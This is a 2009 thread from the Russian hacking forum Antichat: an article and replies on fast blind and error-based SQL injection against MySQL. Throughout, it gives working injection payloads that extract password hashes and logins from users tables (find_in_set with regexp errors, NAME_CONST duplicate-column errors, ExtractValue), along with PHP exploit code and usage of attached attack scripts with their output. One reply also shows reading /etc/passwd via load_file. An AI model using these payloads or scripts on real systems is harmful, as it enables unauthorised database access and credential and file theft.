Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Быстрый Blind SQL Injection (https://forum.antichat.xyz/showthread.php?t=119047)

Qwazar 04.05.2009 17:26

Быстрый Blind SQL Injection
 
Быстрый Blind SQL Injection.


[1] INTRO

Основной проблемой при работе с Blind SQL Injection является огромное количество запросов,
которое необходимо послать на сервер для получения символов из БД, и, соответственно, долгое время работы.
Понятно, что вручную получать данные из БД практически нереально, поэтому процесс работы необходимо автоматизировать.
Я рассмотрю некоторые варианты.


[2] Полный перебор всех символов (до 512 запросов на md5)

Самый тупой и тормознутый метод получения символов из БД. Обычно реализуется новичками в своих первых эксплоитах. Код выглядит примерно так:
PHP код:

for($i=1;$i<=32;$i++)
 for(
$j=1;$j<=255;$j++){
  
$res send($url"sql.php?id=if(ascii(substring((select+$field+from+users+where+id=0),$i,1))=$j,'1',(select+1+union+select+2))")
  if(!
preg_match('/Subquery returns/'$res) {
   echo 
$j;
   continue;
  }
 } 

Принцип работы прост: Для каждого символа сравниваем значение его ascii кода с кодами заданого нами диапазона, если выполняется некое условие - символ найден. Т.е. для хеша MD5, будет слаться до 16 запросов на символ, т.е. до 512 запросов на весь хеш. Для получения логина необходимо послать ещё больше запросов.
Плюсов у метода нет вообще, разве что код выполняющий такой перебор пишется очень быстро и легко.


[3] Бинарный (двоичный) поиск нужного символа. (до 128 запросов на md5)

- это тот метод, который используется в большинстве адекватных программ, скриптов и сплоитов, для работы со слепыми иньекциями.
Принцип работы прост:

1) Берём диапазон всех возможных символов (для md5 - [0-9,a-f]), и сравниваем значение кода символа в БД с кодом символа, который мы передали в запросе.
2) Если код символа в БД больше чем код переданого символа, то на следующем шаге, в качестве диапазона возможных символов берём диапазон от того символа,
с которым мы только что сравнивали значение в БД, до правой границы предыдущего диапазона, и идём на шаг 1.
3) Если код символа меньше, то берём диапазон от текущего символа до левой границы диапазона на предыдущем шаге, и идём на шаг 1.
4) Если символ не больше и не меньше, то мы как раз его и нашли.

Например мы получаем хеш md5:

Диапазон символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
Допустим в БД лежит символ 'b'

Запускаем процесс:
1) Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f], серединой является символ '8'.
2) Сравниваем, код символа 'b' больше или меньше, чем код символа '8'? (шлём запрос)
3) Код больше, поэтому на следующую итерацию уже берём диапазон [8,9,a,b,c,d,e,f], серединой является символ 'с'.
4) Сравниваем, код символа 'b' больше или меньше, чем код символа 'с'? (шлём запрос)
5) Код меньше, поэтому на следующую итерацию берём диапазон [8,9,a,b,c], серединой является символ 'a'.
6) Сравниваем, код символа 'b' больше, чем код символа 'a'? (шлём запрос)
7) Код больше, поэтому на следующую итерацию берём диапазон [a,b,c], серединой является символ 'b'.
8) Сравниваем, код символа 'b' больше или меньше, чем код символа 'b'? (шлём запрос)
9) Код ни больше и не меньше, значит символ в БД = 'b'

Т.е., в зависимости от реализации, мы отправляем до 5-6 запросов, в худшем случае, на определение кода символа.

Пример реализации:
PHP код:

function getChar($url$field$pos$lb=0$ub=255) {
    while(
true) {
        
$M floor($lb + ($ub-$lb)/2);
        if(
cond($url$field'<'$pos$M)==1) {
            
$ub $M 1
        }
        else if(
cond($url$field'>'$pos$M)==1) {
            
$lb $M 1;
        }
        else
            return 
chr($M);
        if(
$lb $ub)
            return -
1;
    }


+ метод универсален, и даёт неплохую скорость поиска.
- можно искать быстрее


[4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet)

Функция find_in_set(str,strlist), используется для поиска подстроки среди списка строк, разделённых символом ',',
возвращает номер той строки из списка, которая равна переданному аргументу. Т.е.:
Код:

mysql> SELECT FIND_IN_SET('b','a,b,c,d');
-> 2

Т.е. мы можем узнавать код символа таким образом:
Код:

select find_in_set((substring((select password from users limit 1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');
и получим номер символа в множестве. К примеру, для символа 'b', этот запрос вернёт 12.

В слепых скулях можно использовать так:
Код:

news.php?id=find_in_set(substring((select password from users limit 0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')
И в зависимости от кода символа мы будем видеть новость с id, соответствующим символу пароля.

На практике, для использования нужно:
1) Выделить ключевые слова на страницах с нужными id
2) Отправить запросы с find_in_set для каждого символа из БД
3) Выяснить страницу с каким id мы получили и вывести на экран код символа.

Код прикреплю во вложении, т.к. главной сложностью является выявление ключей на странице, что не имеет прямого отношения к статье, суть расписана и так.

Вместо find_in_set(), можно использовать подобные функции: LOCATE(),INSTR(),ASCII(),ORD(), причём ASCII()/ORD() предпочтительее,
т.к. присутствуют не только в MySQL. (А при помощи сложения и вычитания, получившиеся коды можно подогнать под любые ID)

+ высокая скорость работы (в идеальном случае)
+ не требует вывода ошибок
- на сайте id могут быть распределены неравномерно, т.е. скрипт приходится затачивать под каждый сайт индивидуально
- для большого количества символов в алфавите, нужно большое количество уникальных страниц в зависимости от id, которые не всегда присутствуют, иначе приходится слать больше чем 1 запрос на символ (если не понятно, см. следующий метод)


[5] Использование find_in_set() + more1row (~42 запроса на md5)

Если внимательно разобраться с методом описаным выше, можно понять, что все его минусы сводятся к тому, что не на всех сайтах, мы можем получить достаточное количество различных выводимых страниц, в зависимости от одного параметра.

Попробуем разобраться с этой проблемой, вспомним о методе more1row, который изначально описал Elekt. Суть метода сводится к тому, чтобы спровоцировать скрипт выводить какую либо ошибку, в зависимости от SQL запроса.

В данный момент, наиболее часто используется запрос:
Код:

SELECT 1 UNION SELECT 2
(нашёл podkashey), возвращающий ошибку:
Subquery returns more than 1 row

Так же, ZaCo, нашёл альтернативный вариант запроса:
Код:

"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")) /*в случае else строка выражения выйдет за максимальный предел квантификатора*/
Если версия MySql не 5, то этот запрос вернёт ошибку:
#1139 - Got error 'invalid repetition count(s)' from regexp.

Немного порывшись в исходниках MySql и погуглив, можно найти, ещё 9 ошибок, которые возвращает неправильный regexp, итого от сервера мы можем получить 11 видов ошибок + 1 состояние, когда ошибки нет:
Код:

SELECT 1
No error

select if(1=1,(select 1 union select 2),2)
#1242 - Subquery returns more than 1 row

select 1 regexp if(1=1,"x{1,0}",2)
#1139 - Got error 'invalid repetition count(s)' from regexp

select 1 regexp if(1=1,"x{1,(",2)
#1139 - Got error 'braces not balanced' from regexp
 
select 1 regexp if(1=1,'[[:]]',2)
#1139 - Got error 'invalid character class' from regexp

select 1 regexp if(1=1,'[[',2)
#1139 - Got error 'brackets ([ ]) not balanced' from regexp

select 1 regexp if(1=1,'(({1}',2)
#1139 - Got error 'repetition-operator operand invalid' from regexp

select 1 regexp if(1=1,'',2)
#1139 - Got error 'empty (sub)expression' from regexp

select 1 regexp if(1=1,'(',2)
#1139 - Got error 'parentheses not balanced' from regexp

select 1 regexp if(1=1,'[2-1]',2)
#1139 - Got error 'invalid character range' from regexp

select 1 regexp if(1=1,'[[.ch.]]',2)
#1139 - Got error 'invalid collating element' from regexp

select 1 regexp if(1=1,'\\',2)
#1139 - Got error 'trailing backslash (\)' from regexp


Примем это во внимание.
Теперь вспомним о функции find_in_set: Если символ есть в множестве подстрок, она вернёт номер подстроки, если нет, вернёт 0. А что если передать такой запрос:
Код:

select * from users where id=-1 AND "x" regexp concat("x{1,25", if(find_in_set(substring((select passwd from users where id=1),1,1),'a,b,c,d,e,f,1,2,3,4,5,6')>0, (select 1 union select 2), "6}"))
Если 1й символ пароля находится в множестве 'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернёт:
#1242 - Subquery returns more than 1 row
,а если не находится, то:
#1139 - Got error 'invalid repetition count(s)' from regexp


Т.е. при каждом запросе, по коду ошибки, мы узнаём, к какой группе принадлежит символ.

Расставим символы по группам так, чтобы минимизировать количество обращений к серверу.

На примере md5, мы знаем, что у нас могут присутствовать только символы из диапазона [0-9,a-f], так же мы знаем, что количество групп = 12, т.к.
всего мы можем задать 12 состояний (11 ошибок + 1, когда ошибки нет). Получаем, к примеру:

Код:

[01]: '0','b','c','d','e','f'
[02]: '1'
[03]: '2'
[04]: '3'
[05]: '4'
[06]: '5'
[07]: '6'
[08]: '7'
[09]: '8'
[10]: '9'
[11]: 'a'

Расставленно именно так, чтобы минимизировать количество запросов, т.к. на каждом запросе, мы узнаём номер группы в которой находится символ.
В итоге, если символ находится в группах 01-11, то мы узнаем его значение с одного запроса. Если символ лежит в группе 1, то следующим запросом мы распределяем символы по группам вот так, и сразу узнаём непосредственное значение символа:
Код:

[01]: '0'
[02]: 'b'
[03]: 'c'
[04]: 'd'
[05]: 'e'
[06]: 'f'

Алгоритм работы со скулёй выглядит несложно:
1) оптимально распределить символы алфавита по группам
2) по возвращённому коду ответа выяснить в какой группе находится символ из бд
3) если в этой группе только 1 символ, то выводим его на экран, если больше чем 1 символ, то распрделеяем символы из данной группы по состояниям и идём на шаг 1.

Понятно, что руками писать такие запросы совершенно нереально, к примеру рабочий запрос для алфавита [a-z,A-Z,0-9], и 11 состояний выглядит вот так:
Код:

sql.php?id=1+AND+"x"+regexp+concat("x{1,25",+(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8,9'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k'),('}'),(select+1+union+select+2))),'}x{1,0}')),'}x{1,(')),'}[[:]]')),'}[[')),'}(({1}')),'}(')),'}[2-1]')),'}[[.ch.]]')),'}\\')))+--+1
Поэтому в приложении можно найти скрипт, который автоматически генерирует запросы с вложеными условиями согласно описаному выше алгоритму, отправляет их и по ответу определяет, стоит ли слать ещё запросы, или символ уже найден.

+ высокая скорость работы
+ универсален, как и more1row
* Можно искать 1 символ за запрос, если найти ещё 4 ошибки, работающие в динамическом режиме.
- требует включеный вывод ошибок


[6] Outro

Существует довольно много возможностей ускорить процес работы со слепыми SQL иньекциями, главное не зацикливаться на старых заезженных способах.
Кто знает что нам принесут новые версии известных СУБД.


[7] Links

При написании статьи использовалось:

https://forum.antichat.ru/thread43966.html - SQL injection полный FAQ by Dr.Z3r0
https://forum.antichat.ru/thread43966.html - Новая альтернатива Benchmark'y или эффективный blind SQL-injection by Elekt
https://forum.antichat.ru/showpost.p...9&postcount=11 - Использование ошибок regexp by ZaCo
https://blackhole.cih.ms:13000/showthread.php?t=554 - Проведение слепых инъекций через find_in_set() by +toxa+ (там же скрипт)
http://dev.mysql.com/sources/doxygen...8c-source.html - Ошибки regexp (сорцы MySql)

Qwazar 04.05.2009 17:27

Скрипт для работы через find_in_set() (метод - 4)
 
Вложений: 1
За основу взят скрипт c cih.ms, который написал +toxa+.

Количество запросов: 1 на каждый символ алфавита + 1 на каждый символ в строке. Т.е. для классического MD5 - 48 запросов. Из них 16 - абсолютно естественные, никак не используют иньекцию саму по себе + от них можно избавиться, если в коде прописать регулярку, вычисляющую на какой именно странице мы находимся, тогда будет 1 запрос на 1 символ.


Алгоритм работы скрипта:
1) Отправляет нормальные запросы вида ?id=1, ?id=2 .. ?id=N, где N - количество символов в алфавите.
2) Вычисляет ключевые слова для каждого из вариантов.
3) Шлёт на сервер запрос вида: id=find_in_set(substring((select+passw+from+users+ limit+0,1),0,1),[АЛФАВИТ])
4) В ответе сервера ищет ключи, найденые ранее, если ключ совпал, значит символ найден.

Описание:
запуск из консоли в виде:
Код:

fast_in_set.php url field table [target_id] [send_queries] [start_from] [alphabet]
где:

обязательные:
url - url вида http://test1.ru:8012/find_in_set/news.php?id= (Важно: после = скрипт подставлять цифры будет сам, никакого -1 там не нужно)
field - имя столбца
table - имя таблицы

необязательные:
[target_id] - id записи в таблице (по дефолту 0, т.е. первая запись)
[send_queries] - количество символов которое надо получить (по дефолту 32)
[start_from] - страница с которой надо начать (по дефолту 1), т.е. для получения хеша мд5 скрипту потребуется 16 различных страниц идущих подряд, а это число прибавится к получаемому id. Т.е. для md5, при start_from=10, скрипт пробежится по страницам с id от 10 до 26 включительно.
[alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 .

Пример:
Код:

php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= password users
или
php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= login users 0 5 1 r,a,o,t,z

Результат работы:
Код:

Generating templates................ [OK]
Getting keywords................ [OK]
Filtering keywords................ [OK]
Sending queries................................ [OK]
Getting value: 63a9f0ea7bb98050796b649e85481845 [DONE]

или

Generating templates..... [OK]
Getting keywords..... [OK]
Filtering keywords..... [OK]
Sending queries..... [OK]
Getting value: root [DONE]

В строках Generating templates и Sending queries каждая точка обозначает отправленный запрос. В остальных - обработку символов.

P.S.
Поидее надо добавить возможность задавать id не последовательно, возможность установить свою регулярку чтобы не надо было слать запросы для определения ключей + заточить под все виды БД.

Qwazar 04.05.2009 17:28

Скрипт для работы через find_in_set()+more1row (метод 5)
 
Вложений: 2
Генерация запросов:

2 ошибки обладают особенностями:
1) select 1 regexp if(1=1,"x{1,0}",2) - работает только так, как показал ZaCo в древнем посте на античате, и требует чтобы к остальным запросам regexp корректно в начале был добавлен символ "}", иначе назвисимо от условий ругается тольо так: "#1139 - Got error 'repetition-operator operand invalid' from regexp"
2) select 1 regexp if(1=1,'',2), работает только при наличии пустого запроса, или так: 'a|' (отсутствие чего бы то нибыло после | ), но особенность 1 убивает возможность использования чисто пустого запроса.

Вложенные запросы скрипт генерирует сам.

Дальше понадобилось группировать символы алфавита по условиям. Скрипт делает это по принципу (на примере [0-9,a-f] и 4х состояний):

1) Раскидывает по 1 букве алфавита на запрос, т.е.
Код:

[1]:1
[2]:2
[3]:3
[4]:4

2) если символы остались, то начинает расставлять их по состояниям, слева-направо, заполняя каждую категорию не более чем на количество равное количеству состояний.

3) Если ещё остались не распиханые символы, идём на шаг 2.

В итоге символы по категориям расставлены так, что поиск по ним будет происходить максимально быстро.

Например, символы [1,2,3,4,5,6,7,8], скрипт по состояниям расставит вот так:

[1]:1,5,6,7
[2]:2,8
[3]:3
[4]:4

И получаем, что если символ в запросе равен 3 или 4, то его найдут с 1 запроса, если [1,5,6,7] или [2,8], то с 2х запросов.

Для генерации запросов используется следующая структура:

1) Все запросы хранятся в массиве:
Код:

$queries = array(
 "if(%cond%,%then%,(select+1+union+select+2))" => "Subquery returns more than 1 row",
 "if(%cond%,%then%,'}x{1,0}')" => "invalid repetition count(s)",
 "if(%cond%,%then%,'}x{1,(')" => "braces not balanced",
 "if(%cond%,%then%,'}[[:]]')" => "invalid character class",
 "if(%cond%,%then%,'}[[')" => "brackets ([ ]) not balanced",
 "if(%cond%,%then%,'}(({1}')" => "repetition-operator operand invalid",
 "if(%cond%,%then%,'}|'" => "empty (sub)expression",
 "if(%cond%,%then%,'}(')" => "parentheses not balanced",
 "if(%cond%,%then%,'}[2-1]')" => "invalid character range",
 "if(%cond%,%then%,'}[[.ch.]]')" => "invalid collating element",
 "if(%cond%,%then%,'}\\\\')" => "trailing backslash",
);

где %cond% jобозначает место, куда скрипт должен подставить условие, %then% - место куда скрипт должен вставить следующий подзапрос.

Зная это можно свободно добавлять/удалять ошибки из массива. Программа отработает полностью автоматически, и строит окончательный запрос только из тех подзапросов которые есть в наличии. (комментирование/добавление запросов к некорректной работе не приведёт).

2) основной запрос обёртка прописывается так:
Код:

$template = "+AND+\"x\"+regexp+concat(\"x{1,25\",+(%query%))+--+1";
где %query% - место куда скрипт должен подставить сгенерированные подзапросы.

3) Подзапросы тут:
Код:

$condition = 'find_in_set(substring((select+'.$field.'+from+'.$table.'+limit+%id%,1),%number%,1),%symbols%)';
где: %id% - место куда подставится id, %number% - место куда скрипт будет подставлять номер символа в строке, %symbols% - куда скрипт будет размещать символы.

4)алфавит можно задать как в исходниках, так и из командной строки. В исходниках:
Код:

$alphabet = array_merge(range('0', '9'),range('a', 'f'));
В принципе это всё нужно только для тонкой настройки.

Работа со скриптом:
Цитата:

veryfast.php url field table [target_id] [send_queries] [alphabet]
где:

обязательные:
url - url вида http://test1.ru:8012/sql.php?id=1 (Важно: нужна цифра, или символ)
field - имя столбца
table - имя таблицы

необязательные:
[target_id] - id записи в таблице (по дефолту 0, т.е. первая запись)
[send_queries] - количество символов которое надо получить (по дефолту 32)
[alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 .

Пример:
Цитата:

php veryfast.php http://test1.ru:8012/sql.php?id=1 passwd users
Результат работы:
Цитата:

Result: 200820e3227815ed1756a6b531e7e0d2
Total: 42 queries
Если нужно задать алфавит, id и прочее то пишем так:
Цитата:

php veryfast.php http://test1.ru:8012/sql.php?id=1 passwd users 5 15 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
На практике у меня на хеши md5 уходит около 40 запросов.

Если кто найдёт ещё 4 ошибки, которые работают в динамическом режиме (внутри if в зависимости от условия), то скрипт будет работать со скоростью 1 запрос - 1 символ. Добавить ошибки в базу, с учётом написаного выше, будет легко любому.

Во вложениях 2 скрипта, в 1м всё запросы передаются в чистом виде и с кавычками (удобно для того чтобы понять как это работет), во 2м всё захексено, чтобы не было проблем с экранированием кавычек.

cr0w 04.05.2009 20:54

Интересно придумал с more1row (:

p.s. и все таки удобнее использовать
Код:

select instr('0123456789abcdef', 'a');
select instr(0x30313233343536373839616263646566, 'a');

чем
Код:

select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,);
select find_in_set('a', 0x302C312C322C332C342C352C362C372C382C392C612C622C632C642C652C66);

(;

Qwazar 04.05.2009 22:31

cr0w, find_in_set там по историческим мотивам :) Главное принцип :)

Psi.X 12.05.2009 00:30

[4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet)
Можно ссылку на первоисточник? А то это какбы вариант моего https://forum.antichat.ru/thread117549.html метода

Qwazar 12.05.2009 02:26

Хм, ну значит вы дошли до этого метода независимо :) Пост был на cih.ms, но сейчас тот форум снова стал приватным.

З.Ы.
Посмотрел, на сохранённую копию. В общем, +toxa+, madnet опередили тебя по крайней мере на год, просто их способ в паблике не всплывал.

З.З.Ы.
Посмотрел повнимательнее твой пост. По сути твой способ - недоработанный вариант их способа, почему недоработанный? Потому что у тебя не показан законченный вариант перебора, когда ты реально не знаешь какие значения лежат в полях.
Код:

?news.php?news_id=
        (select 111 from information_schema.tables where table_name = 'administrators'
            union select 112 from information_schema.tables where table_name = 'admins'
            union select 113 from information_schema.tables where table_name = 'users')

Их способ удобнее, т.к. откуда ты знаешь слова 'admin', 'users' и т.п.? Вот что у вас общего, так это работа с большим кол-вом ID. (Респект и уважуха кст., за то что нашёл, пусть и позже)

Grey 15.06.2009 00:54

128 запросов на мд5 хеш бинарным поиском (или 4 для 0...15 и 8 для 0...255)
 
128 запросов на мд5 хеш бинарным поиском (или 4 для 0...15 и 8 для 0...255)

ЮЮЮЮПППППИИИ, занимался переписыванием и оптимизацией своего скрипта для работы со слепыми инъекциями.
Оптимизировал функцию поиска....
Подняв планку для бинарного поиска - теперь не до 160-170 запросов на мд5 хеш нужно, а ровно 128.

Т.е. для мд5 это ровно 4 запроса на 1 символ. Пример функции:

PHP код:

<?php

function grey_f3($i) {

$min 0$max 16$srd 8;
for(
$j 0$j 3$j++) {     
     if(
$i >= $srd) { 
          
$min $srd;
          
$srd = ($srd $max) / 2;
     } else {
          
$max $srd;
          
$srd = ($srd $min) / 2;
     }
echo(
'1');
}

if(
$i == $min) { $srd $min; }
echo(
'1 ');
return 
$srd; }

for(
$i 0$i 16$i++)  { echo(grey_f3($i).'<br>');}

?>

А для обычного диапазона 0...255 - 8 запросов на 1 символ:

PHP код:

<?php

function grey_f3($i) {

$min 0$max 256$srd 128;
for(
$j 0$j 7$j++) {     
     if(
$i >= $srd) { 
          
$min $srd;
          
$srd = ($srd $max) / 2;
     } else {
          
$max $srd;
          
$srd = ($srd $min) / 2;
     }
echo(
'1');
}

if(
$i == $min) { $srd $min; }
echo(
'1 ');
return 
$srd; }

for(
$i 0$i 255$i++)  { echo(grey_f3($i).'<br>');}

?>

Фишка в том, что если запихнуть все проверки в цикл, то нельзя учесть в самом конце, что искомый символ может быть больше или равен минимальной границе, но строго меньше максимальной.
В последнем запросе проверка идёт уже относительно границы, а не среднего значения.

Grey 25.06.2009 18:32

3.4 запроса на получение цифрового символа (0-9)
 
3.4 запроса на получение цифрового символа (0-9)

Продолжая заниматься оптимизацией своего скрипта до шёл до такой обыденной штуковины, как определение длины возвращаемой строки.

До этого момента использовал функцию для быстрой выдерки хешей (эта которая работает с символами 0-9a-f), задумался насколько это разумно - с одной стороны использовать меньший диапазон нельзя - там всего 8 символов, а у нас 10 (ведь работая с длиной мы получаем только цифры), а с другой выходит, что есть лишние проверки.

Посмотрел как выглядят ascii коды нужных символов и вот, что получилось:

Цитата:

S AS BIN
0 48 110000
1 49 110001
2 50 110010
3 51 110011
4 52 110100
5 53 110101
6 54 110110
7 55 110111
8 56 111000
9 57 111001

================================
substring(conv(ascii(substring(...),5,1)),10,2)=1
$s[4] = 1; || $s[4] = 0;
$s[2] = 0; ||
================================
substring(conv(ascii(substring(...),4,1)),10,2)=1
$s[3] = 1; || $s[3] = 0;
$s[2] = 0; ||
================================
substring(conv(ascii(substring(...),6,1)),10,2)=1
$s[5] = 1; || $s[5] = 0;
================================
а этот запрос если нужен
substring(conv(ascii(substring(...),3,1)),10,2)=1
$s[2] = 1; || $s[2] = 0;
================================
Таким образом для 6 из 10 символов нужно всего 3 запроса, т.е. в среднем 3.4 запроса на символ.

Сделал функцию:

PHP код:

function grey_f3_digit($query$i) {

$sa = array();
for(
$j 6$j 3$j--) {
    if(
grey_f1(' and substring(conv(ascii(substring('.$query.','.$i.',1)),10,2),'.$j.',1)=1') == 1) {
        
$sa[$j-3] = 1;
    } else {
        
$sa[$j-3] = 0;
    }
}

if((
$sa[1] == 1) || ($sa[2] == 1)) {
    
$sa[0] = 0;
} else {
    if(
grey_f1(' and substring(conv(ascii(substring('.$query.','.$i.',1)),10,2),3,1)=1') == 1) {
        
$sa[0] = 1;
    } else {
        
$sa[0] = 0;
    }
}

$s = (int) '11'.$sa[0].$sa[1].$sa[2].$sa[3];
$s chr(base_convert($s,2,10));

return 
$s; } 

Конечно прирост не значительный, но лишнем не будет.

Qwazar 01.09.2009 10:57

From ROA with love
 
Ещё 1 способ узнать имена колонок без использования information_schema в MySQL5 (нашёл 25.02.2009, спасибо Грею, за то что проверил у себя и всем, кого мучал вопросами).

У меня есть таблицы:
news(id,title,date)
users(id,name,passwd,is_admin)

Допустим мы имеем скуль:
SELECT * FROM `news` WHERE id = [SQL]

Хотим узнать имена столбцов в таблице users. Делаем это так:

Шлём запрос:
Код:

SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b ON 1=1)a
Возвращает ошибку:
#1060 - Duplicate column name 'id'

Кстати можно использовать любой вариант JOIN'а, не обязательно CROSS JOIN, просто перебирая варианты он оказался последним.

(А вот после этого пришлось помучатся, благо в MySQL обнаружилась конструкция USING(), далее всё внимание на неё)

Тогда шлём запрос:
Код:

SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id))a
Возвращает:
#1060 - Duplicate column name 'name'

Тогда шлём:
Код:

SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id,name))a
Возвращает:
#1060 - Duplicate column name 'passwd'

И т.д., когда переберём все столбцы, вернётся:
#1222 - The used SELECT statements have a different number of columns

З.Ы.
Если удалить всё ненужное, то получатся запросы:
Код:

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
Код:

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
Вариантов избавиться от подзапросов пока не вижу :(

Qwazar 01.09.2009 11:00

From ROA with love
 
Итак, развиваем тему "more 1 row".

Зачем слать по 40 запросов на хеш? Почему бы нам не вытянуть всё поле из БД сразу.

Для этого вспоминаем мой метод получения имён полей из БД:

Цитата:

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
Выведет имя поля, присутствуещего с двух сторон оператора JOIN: #1060 - Duplicate column name 'id'

А что если попытаться подставить значение из базы, в качестве имени одного из полей?

На поиск такого варианта я потратил много времени и решение было найдено:

Функция NAME_CONST()

Цитата:

mysql> SELECT NAME_CONST('myname', 14);
+--------+
| myname |
+--------+
| 14 |
+--------+
Пробуем, и получаем рабочий запрос:

Цитата:

SELECT 1 FROM news WHERE id=-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)d) as t JOIN (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)e) b)a
Результат работы:
#1060 - Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'


И вот ещё пример от jokester:
Цитата:

mysql> select username from AEF.aef_users where id=1 union select * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)d) as t
JOIN (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)e) b)a;
Цитата:

ERROR 1060 (42S21): Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3'
Ну и в неслепых скулях этим можно пользоваться если лень подбирать кол-во колонок.

Требования: MySQL=5.0.*, на 6й ветке не проверял, если кто проверит - отпишитесь.

Первым идею выводить значение поля в тексте ошибки, мне предложил Jokester (не забываем передавать спасибо и ему). На поиск варианта практической реализации, мной было потрачено около двух месяцев...

P.S.
Ну что, кто сможет быстрее?? :)

UPD:
У меня текст имени колонки выводимой в ошибке, режется до 64 символов

cr0w 01.09.2009 23:45

Можно и еще быстрее. (: Например, если получать по 2 хеша за запрос:
Цитата:

-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT GROUP_CONCAT(password SEPARATOR '') FROM cr0w.users LIMIT 2),14)d)t
JOIN (SELECT NAME_CONST((SELECT GROUP_CONCAT(password SEPARATOR '') FROM cr0w.users LIMIT 2),14)e)b)a;
Если, конечно, мы имеем дело с 32х-символьными хешами. (;

add:

А еще этим способом можно, например, более-менее сносно читать файлы:
Цитата:

-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST(substr(load_file('/etc/passwd'),1),1)r)e2
JOIN (SELECT NAME_CONST(substr(load_file('/etc/passwd'),1),1)qw)az)ar;
перемещая 64х-символьное "окно" по файлу, увеличивая на 64 второй параметр в substr()'ах.

Цитата:

Сообщение от Qwazar
И т.д., когда переберём все столбцы, вернётся:
#1222 - The used SELECT statements have a different number of columns

Отмечу, что это в случае, если в таблице news и users разное количество столбцов. При одинаковом - запрос просто нормально выполнится.

Цитата:

Сообщение от Qwazar
Требования: MySQL=5.0.*,

Если быть более точными, нужен MySQL=>5.0.12

Qwazar 26.10.2009 18:16

Ещё один вариант вывода через ошибку нашёл Дмитрий Евтеев:
Код:

sql.php?id=1 and ExtractValue(1,concat(0x5c,('test')))
Вернёт ошибку:
Код:

XPATH syntax error: '\test'
